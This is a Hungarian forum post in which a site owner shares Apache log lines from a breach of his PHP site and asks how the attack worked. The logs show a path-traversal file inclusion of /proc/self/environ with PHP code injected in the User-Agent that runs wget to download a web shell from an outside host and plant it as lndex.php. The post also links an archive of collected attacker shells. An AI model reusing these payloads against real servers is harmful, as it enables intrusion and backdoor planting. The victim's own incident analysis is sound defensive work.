Sziasztok, nemrégiben feltörték az oldalamat, és elkezdtem olvasgatni a log fájlokat.
Találtam pár számomra érdekes és lehet hogy másoknak is tanulságos bejegyzést:
87.109.129.170 - - [10/Jan/2008:14:43:00 -0700] "GET /examples/index.php?p=../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ HTTP/1.1" 200 3373 "-" "jcfs<?system(\"wget http://www.darkmindz.com/shell/x2300.txt 2> /dev/stdout\");?>jcfs"
87.109.129.170 - - [10/Jan/2008:14:44:00 -0700] "GET /examples/index.php?p=../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ HTTP/1.1" 200 3373 "-" "jcfs<?system(\"wget http://www.darkmindz.com/shell/x2300.txt 2> /dev/stdout\");?>jcfs"
87.109.129.170 - - [10/Jan/2008:14:45:00 -0700] "GET /examples/index.php?p=../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ HTTP/1.1" 200 2920 "-" "jcfs<?system(\"cd /home/nagitaco/public_html/; wget http://www.darkmindz.com/shell/x2300.txt; mv x2300.txt lndex.php 2> /dev/stdout\");?>jcfs"
Az index.php include-olt egy másik php oldalt.
Ami érdekes: a saját gépről a proc/self/environ állományt el tudta érni, és ki tudta írtani a tartalmát.
Ami még érdekesebb: pontosan hogy és miért működik a kérés hátsó, jcfs-ek közötti része ?
A wget-et értem, de mi a jcfs? hogy tudta ezt a kérést a gépnek elküldeni?
telnet?
miért fogadta el a szerver, és hajtotta végre az utasításokat?
A kérdéses lndex.php állományt megtaláltam, tehát szerintem a betörés sikeres volt, legalábbis a log fájlok szerint és a könyvtárállományok szerint is megtaláltam a gépre feltett idegen php fájlt.
Kérem ha valaki a fenti sorok második részének (jcfs) pontos működését érti, írja meg.
Amit tettem:
GET-en kapott include-ból a / : ; karaktereket kapásból törlöm, limitált a paraméter hossza.
de lehet hogy ez így még mindig nem elég. Erre a fenti jcfs-t tartalmazó lekérésre nem számítottam, a betörés előtt csak a :// karaktersorozatot töröltem automatikusan a GET-ből, gondolván hogy így kívülről nem juthat be fájl. Hát bejutott.
A feltölteni próbált betörőkészletekből 6 különbözőt sikerült lementenem.
Ha valakit érdekel hogy a próbálkozók mit akarnak a gépre tenni (vagy tettek), itt egy szép gyűjtemény a logfájlomból és a publikus könyvtárakból kiszedett állományokról: http://pythonlib.pergamen.hu/betoroholmik.tar.gz php kódok vannak benne.
pár napig kinthagyom, aztán törlöm. Biztos ami biztos.
Köszönöm a segítséget.
Balázs